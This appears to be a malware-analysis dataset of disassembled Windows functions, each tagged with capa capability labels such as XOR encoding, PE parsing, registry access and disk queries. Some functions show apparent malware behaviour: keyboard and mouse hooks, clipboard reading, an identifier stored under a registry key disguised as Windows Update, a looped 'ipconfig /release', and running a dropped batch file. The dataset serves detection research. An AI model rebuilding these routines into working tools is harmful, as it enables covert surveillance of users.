joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18009f520
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x1800de180]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbx, r8
mov rdi, rdx
mov ecx, dword [0x180214c20]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov ecx, dword [rdx + rax]
cmp dword [0x180214b30], ecx
jg 0x18009f602
mov eax, ebx
cmp rbx, rax
jne 0x18009f5c4
xor ecx, ecx
test rbx, rbx
setne cl
xor eax, eax
test ebx, ebx
setne al
cmp ecx, eax
jne 0x18009f5c4
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
mov rcx, qword [0x180214b28]
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
js 0x18009f645
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1800a7db0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x90
pop rdi
ret
mov ecx, 0x5b6
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, str.GenerateBlock_size
lea rcx, [rsp + 0x20]
call fcn.18004f3e0
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.18009f250
lea rdx, [0x1800d9890]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rcx, [0x180214b30]
call fcn.1800a7334
cmp dword [0x180214b30], 0xffffffff
jne 0x18009f56c
lea rcx, [0x180214b28]
call fcn.18009f164
lea rcx, [0x1800abea4]
call fcn.1800a7810
nop
lea rcx, [0x180214b30]
call fcn.1800a72c8
jmp 0x18009f56c
mov ecx, eax
call fcn.18009f688
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, [0x1800b3e38]
lea rcx, [rsp + 0x20]
call fcn.18004f3e0
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.18009f250
lea rdx, [0x1800d9890]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
int3

Function at 0x1800a0a8c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
xor r14d, r14d
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
cmp r8, 8
jb 0x1800a0aff
mov rbp, r8
shr rbp, 3
imul rax, rbp, 0xfffffffffffffff8
add rdi, rax
mov r8d, 8
lea rcx, [rsp + 0x58]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 8
lea rcx, [rsp + 0x50]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x50]
add rsi, 8
xor rax, qword [rsp + 0x58]
add rbx, 8
or r14, rax
sub rbp, 1
jne 0x1800a0abe
mov rcx, r14
shr rcx, 0x20
or ecx, r14d
mov edx, ecx
mov eax, ecx
shr edx, 8
or edx, ecx
shr eax, 0x10
and edx, 0xff00
or edx, eax
movzx eax, cl
shr edx, 8
or edx, eax
test rdi, rdi
je 0x1800a0b41
sub rsi, rbx
movzx ecx, byte [rsi + rbx]
movzx eax, byte [rbx]
inc rbx
xor ecx, eax
or edx, ecx
sub rdi, 1
jne 0x1800a0b2d
mov rbx, qword [rsp + 0x40]
test edx, edx
mov rbp, qword [rsp + 0x48]
sete al
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x1800a0b5c
Capabilities:
Encode data using xor

Disassembly:
test r9, r9
je 0x1800a0c22
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rbx, r9
mov r15d, 4
mov rdi, r8
mov rsi, rdx
mov r14, rcx
cmp rbx, r15
jb 0x1800a0bed
mov rbp, rbx
shr rbp, 2
imul rax, rbp, 0xfffffffffffffffc
add rbx, rax
mov r8, r15
lea rcx, [rsp + 0x20]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, r15
lea rcx, [rsp + 0x68]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x68]
lea rdx, [rsp + 0x24]
xor eax, dword [rsp + 0x20]
mov r8, r15
mov rcx, r14
mov dword [rsp + 0x24], eax
call sub.VCRUNTIME140.dll_memcpy
add r14, r15
add rsi, r15
add rdi, r15
sub rbp, 1
jne 0x1800a0ba2
test rbx, rbx
je 0x1800a0c0a
sub rsi, rdi
sub r14, rdi
mov al, byte [rsi + rdi]
xor al, byte [rdi]
mov byte [r14 + rdi], al
inc rdi
sub rbx, 1
jne 0x1800a0bf8
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x1800a0c24
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x1800a0cd1
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rbx, r8
mov r14d, 4
mov rsi, rdx
mov rdi, rcx
cmp rbx, r14
jb 0x1800a0ca9
mov rbp, rbx
shr rbp, 2
imul rax, rbp, 0xfffffffffffffffc
add rbx, rax
mov r8, r14
lea rcx, [rsp + 0x68]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8, r14
lea rcx, [rsp + 0x60]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x60]
lea rdx, [rsp + 0x20]
xor eax, dword [rsp + 0x68]
mov r8, r14
mov rcx, rdi
mov dword [rsp + 0x20], eax
call sub.VCRUNTIME140.dll_memcpy
add rdi, r14
add rsi, r14
sub rbp, 1
jne 0x1800a0c61
test rbx, rbx
je 0x1800a0cbf
sub rsi, rdi
mov al, byte [rsi + rdi]
xor byte [rdi], al
inc rdi
sub rbx, 1
jne 0x1800a0cb1
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x1800a6bf4
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movdqu xmm1, xmmword [rcx]
mov r9d, 4
shl edx, 2
mov r8, rcx
movdqu xmm0, xmmword [rcx + rdx*4]
movdqu xmmword [rcx], xmm0
movdqu xmmword [rcx + rdx*4], xmm1
add edx, 0xfffffffc
cmp edx, r9d
jbe 0x1800a6c43
aesimc xmm0, xmmword [r8 + rdx*4]
mov ecx, r9d
add r9d, 4
aesimc xmm1, xmmword [r8 + rcx*4]
movdqu xmmword [r8 + rcx*4], xmm0
movdqu xmmword [r8 + rdx*4], xmm1
add edx, 0xfffffffc
cmp r9d, edx
jb 0x1800a6c1a
mov eax, r9d
aesimc xmm0, xmmword [r8 + rax*4]
movdqu xmmword [r8 + rax*4], xmm0
ret

Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x140006008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x140006008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x140006008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret
Function at 0x140001ed4
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x498
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x430], rcx
mov rcx, qword [rbp + 0x430]
call fcn.14010bef0
mov dword [rbp - 4], 0x400
lea rax, [rbp + 0x408]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rax, str.WINDOWS_UPDATE_REGISTRY_INFO
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
sete al
test al, al
je 0x140001fa4
mov rax, qword [rbp + 0x408]
lea rdx, [rbp - 4]
mov qword [rsp + 0x28], rdx
mov rdx, rbp
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.GENERATED_UUID
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
sete al
test al, al
je 0x140001fa4
mov rax, rbp
mov rdx, rax
mov rcx, qword [rbp + 0x430]
call fcn.14010cf70
mov rax, qword [rbp + 0x408]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
jmp 0x1400020af
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.RPCRT4.dll_UuidCreate]
call rax
lea rdx, [rbp - 0x28]
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.RPCRT4.dll_UuidToStringA]
call rax
mov rax, qword [rbp - 0x28]
mov rdx, rax
mov rcx, qword [rbp + 0x430]
call fcn.14010cf70
lea rax, [rbp - 0x2c]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x408]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.WINDOWS_UPDATE_REGISTRY_INFO
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
mov rcx, qword [rbp + 0x430]
call fcn.140049400
mov ecx, eax
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp + 0x408]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.GENERATED_UUID
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
lea rax, [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.RPCRT4.dll_RpcStringFreeA]
call rax
mov rax, qword [rbp + 0x408]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
jmp 0x1400020af
mov rax, qword [rbp + 0x430]
add rsp, 0x498
pop rbx
pop rbp
ret
Function at 0x1400020c0
Capabilities:
Get session user name

Disassembly:
push rbp
push rbx
sub rsp, 0x1c8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x160], rcx
mov dword [rbp - 0x14], 0x100
lea rdx, [rbp - 0x14]
lea rax, [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
lea rax, [rbp + 0xff]
mov rcx, rax
call fcn.140090c40
lea rcx, [rbp + 0xff]
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call fcn.14010c2a0
lea rax, [rbp + 0xff]
mov rcx, rax
call fcn.140090c70
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140001ed4
lea rax, [rbp + 0x120]
lea rdx, [rbp - 0x40]
lea r8, [0x1401380c2]
mov rcx, rax
call fcn.14012dd50
lea rax, [rbp + 0x100]
lea rcx, [rbp - 0x60]
lea rdx, [rbp + 0x120]
mov r8, rcx
mov rcx, rax
call fcn.14012da80
mov rax, qword [rbp + 0x160]
lea rdx, [rbp + 0x100]
lea r8, [0x140137c31]
mov rcx, rax
call fcn.14012da30
nop
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14010ce50
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.14010ce50
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.14010ce50
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14010ce50
jmp 0x140002234
mov rax, qword [rbp + 0x160]
add rsp, 0x1c8
pop rbx
pop rbp
ret

Function at 0x140002297
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push rbp
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x20], rcx
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
sete al
test al, al
je 0x1400022f4
lea rax, [rbp - 0xa]
mov rcx, rax
call fcn.140090c40
lea rax, [rbp - 0xa]
mov r8, rax
lea rax, str.failed_to_open_clipboard
mov rdx, rax
mov rcx, qword [rbp + 0x20]
call fcn.14010c2a0
lea rax, [rbp - 0xa]
mov rcx, rax
call fcn.140090c70
jmp 0x140002398
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetClipboardData]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
call rax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
lea rax, [rbp - 9]
mov rcx, rax
call fcn.140090c40
mov rax, qword [rbp - 0x18]
lea rdx, [rbp - 9]
mov r8, rdx
mov rdx, rax
mov rcx, qword [rbp + 0x20]
call fcn.14010c2a0
lea rax, [rbp - 9]
mov rcx, rax
call fcn.140090c70
jmp 0x140002398
mov rax, qword [rbp + 0x20]
add rsp, 0x48
pop rbx
pop rbp
ret
Function at 0x140002e13
Capabilities:
Log keystrokes via application hook

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov dword [rbp - 4], 0
jmp 0x140002eac
mov r9d, 0
mov r8d, 0
lea rax, [0x140002dfd]
mov rdx, rax
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov qword [rbp - 0x10], rax
mov r9d, 0
mov r8d, 0
lea rax, [0x140002dfd]
mov rdx, rax
mov ecx, 0xe
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov qword [rbp - 0x18], rax
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call rax
add dword [rbp - 4], 1
mov edx, dword [rbp + 0x10]
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
cmp dword [rbp - 4], eax
jne 0x140002e2a
nop
nop
add rsp, 0x40
pop rbp
ret

Function at 0x140002ec9
Capabilities:
Capture network configuration via ipconfig
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov dword [rbp - 4], 0
jmp 0x140002efe
lea rax, str.ipconfig__release
mov rcx, rax
call sub.msvcrt.dll_system
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp - 4], 1
mov edx, dword [rbp + 0x10]
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
cmp dword [rbp - 4], eax
jne 0x140002edd
lea rax, str.ipconfig__renew
mov rcx, rax
call sub.msvcrt.dll_system
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002f25
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x258
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x19f]
mov rcx, rax
call fcn.140090c40
lea rdx, [rbp + 0x19f]
lea rax, [rbp + 0x170]
mov r8, rdx
lea rdx, str.g.bat
mov rcx, rax
call fcn.14010c2a0
lea rdx, [rbp + 0x170]
lea rax, [rbp - 0x60]
mov r8d, 0x10
mov rcx, rax
call fcn.1400ec1f0
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.14010ce50
lea rax, [rbp + 0x19f]
mov rcx, rax
call fcn.140090c70
lea rax, [rbp + 0x1cf]
mov rcx, rax
call fcn.140090c40
lea rdx, [rbp + 0x1cf]
lea rax, [rbp + 0x1a0]
mov r8, rdx
lea rdx, str._0_0
mov rcx, rax
call fcn.14010c2a0
lea rdx, [rbp + 0x1a0]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.14012d430
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.14010ce50
lea rax, [rbp + 0x1cf]
mov rcx, rax
call fcn.140090c70
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400ebae0
lea rax, str.g.bat
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400ed030
jmp 0x140003099
add rsp, 0x258
pop rbx
pop rbp
ret
Function at 0x140007790
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400145c0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400145c0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x140007800
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x140179144]
mov r12, rcx
test ebx, ebx
jle 0x140007930
mov rax, qword [0x140179148]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x14000784b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x1400078d5
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x140007830
mov rcx, r12
call fcn.1400081d0
mov rsi, rax
test rax, rax
je 0x140007952
mov rax, qword [0x140179148]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.140008300
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140179148]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140007937
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400078ce
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400078e0
add dword [0x140179144], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x140179148]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400078ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140007790
nop dword [rax]
xor ebx, ebx
jmp 0x140007858
mov rax, qword [0x140179148]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140007790
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140007790
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140007e20
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x1401791a0]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140179180]
test rbx, rbx
je 0x140007e7c
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140007e73
test r12, r12
je 0x140007e73
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140007e58
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400081d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14013cdb0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400081f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400081f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400081f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140008245
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000823c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400081f0
add rax, 0x28
cmp rax, r9
jne 0x140008228
xor eax, eax
ret

Function at 0x140008250
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14013cdb0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140008270
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140008278
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140008270
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140008300
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14013cdb0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140008320
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140008328
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140009e20
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push r15
push r14
push r13
push r12
push rdi
push rbx
sub rsp, 0x238
mov r12, rcx
call sub.msvcrt.dll__errno
mov dword [rax], 0
test r12, r12
je 0x140009fa0
cmp word [r12], 0
je 0x140009f88
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140009fb0
test al, 0x10
je 0x140009f88
lea r13, [rsp + 0x20]
mov rdx, r12
mov r8d, 0x104
mov rcx, r13
lea r15, [0x14013ba20]
lea rbx, [0x14013ba24]
call sub.msvcrt.dll__wfullpath
mov rcx, r13
call sub.msvcrt.dll_wcslen
mov rcx, r15
mov r12, rax
call sub.msvcrt.dll_wcslen
mov rcx, rbx
add r12, rax
call sub.msvcrt.dll_wcslen
lea rcx, [r12 + rax + 0x229]
add rcx, rcx
call sub.msvcrt.dll_malloc
mov r12, rax
test rax, rax
je 0x140009fc3
lea r14, [rax + 0x44c]
mov rdx, r13
mov rcx, r14
call sub.msvcrt.dll_wcscpy
cmp word [r12 + 0x44c], 0
jne 0x140009f48
mov rdx, rbx
mov rcx, r14
call sub.msvcrt.dll_wcscat
lea rdx, [r12 + 0x238]
mov ecx, 0x41
xor eax, eax
mov qword [r12 + 0x440], 0xffffffffffffffff
mov rdi, rdx
mov dword [r12 + 0x448], 0
mov qword [r12 + 0x230], 0
rep stosq qword [rdi], rax
mov rax, r12
add rsp, 0x238
pop rbx
pop rdi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r14
call sub.msvcrt.dll_wcslen
cmp word [r12 + rax*2 + 0x44a], 0x2f
je 0x140009eea
mov rcx, r14
call sub.msvcrt.dll_wcslen
cmp word [r12 + rax*2 + 0x44a], 0x5c
je 0x140009eea
mov rdx, r15
mov rcx, r14
call sub.msvcrt.dll_wcscat
jmp 0x140009eea
call sub.msvcrt.dll__errno
xor r12d, r12d
mov dword [rax], 0x14
jmp 0x140009f2e
call sub.msvcrt.dll__errno
mov dword [rax], 0xe
jmp 0x140009f2e
call sub.msvcrt.dll__errno
xor r12d, r12d
mov dword [rax], 2
jmp 0x140009f2e
call sub.msvcrt.dll__errno
mov dword [rax], 0xc
jmp 0x140009f2e
Function at 0x14000a580
Capabilities:
Enumerate disk volumes
Get disk information
Get disk size
Get file size

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xb8
mov r14d, ecx
mov rbx, rdx
cmp ecx, 0xffffffff
je 0x14000a638
test rdx, rdx
js 0x14000a638
call sub.msvcrt.dll__get_osfhandle
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x14000a7e0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 1
jne 0x14000a7e0
mov ecx, r14d
call sub.msvcrt.dll__telli64
mov qword [rsp + 0x48], rax
cmp rax, 0xffffffffffffffff
je 0x14000a638
lea rdx, [rsp + 0x68]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14000a7e0
cmp rbx, qword [rsp + 0x68]
ja 0x14000a690
xor r9d, r9d
mov qword [rsp + 0x70], rbx
lea r8, [rsp + 0x74]
mov edx, ebx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x14000a650
cmp dword [rsp + 0x70], 0xffffffff
je 0x14000a650
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x83
je 0x14000a7a8
mov ecx, 0x16
call fcn.140009260
mov eax, 0xffffffff
jmp 0x14000a675
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x14000a638
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov ecx, r14d
call sub.msvcrt.dll__lseeki64
cmp rax, 0xffffffffffffffff
je 0x14000a638
xor eax, eax
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [rsp + 0x70]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
je 0x14000a638
mov edx, 2
mov ecx, 0x33
call sub.msvcrt.dll_calloc
mov edx, 2
mov ecx, 0x106
mov r12, rax
call sub.msvcrt.dll_calloc
mov r15, rax
test r12, r12
je 0x14000a7e0
test rax, rax
je 0x14000a7e0
mov edx, 0x32
mov rcx, r12
lea rbp, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov rdi, qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov rsi, rax
jmp 0x14000a71a
mov r8d, 0x32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
je 0x14000a7c0
mov dword [rsp + 0x38], 0
mov r9, rbp
mov rdx, r15
mov r8d, 0x105
mov qword [rsp + 0x30], 0
mov rcx, r12
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rdi
mov eax, dword [rsp + 0x5c]
cmp dword [rsp + 0x8c], eax
jne 0x14000a700
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov rcx, r15
call fcn.140013ed0
xor r9d, r9d
xor r8d, r8d
mov rcx, r12
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov rcx, r12
mov esi, eax
call fcn.140013ed0
test esi, esi
je 0x14000a7a8
mov rax, rbx
sub rax, qword [rsp + 0x68]
cmp rax, qword [rsp + 0x60]
jbe 0x14000a603
nop dword [rax]
mov ecx, 0x1b
call fcn.140009260
mov eax, 0xffffffff
jmp 0x14000a675
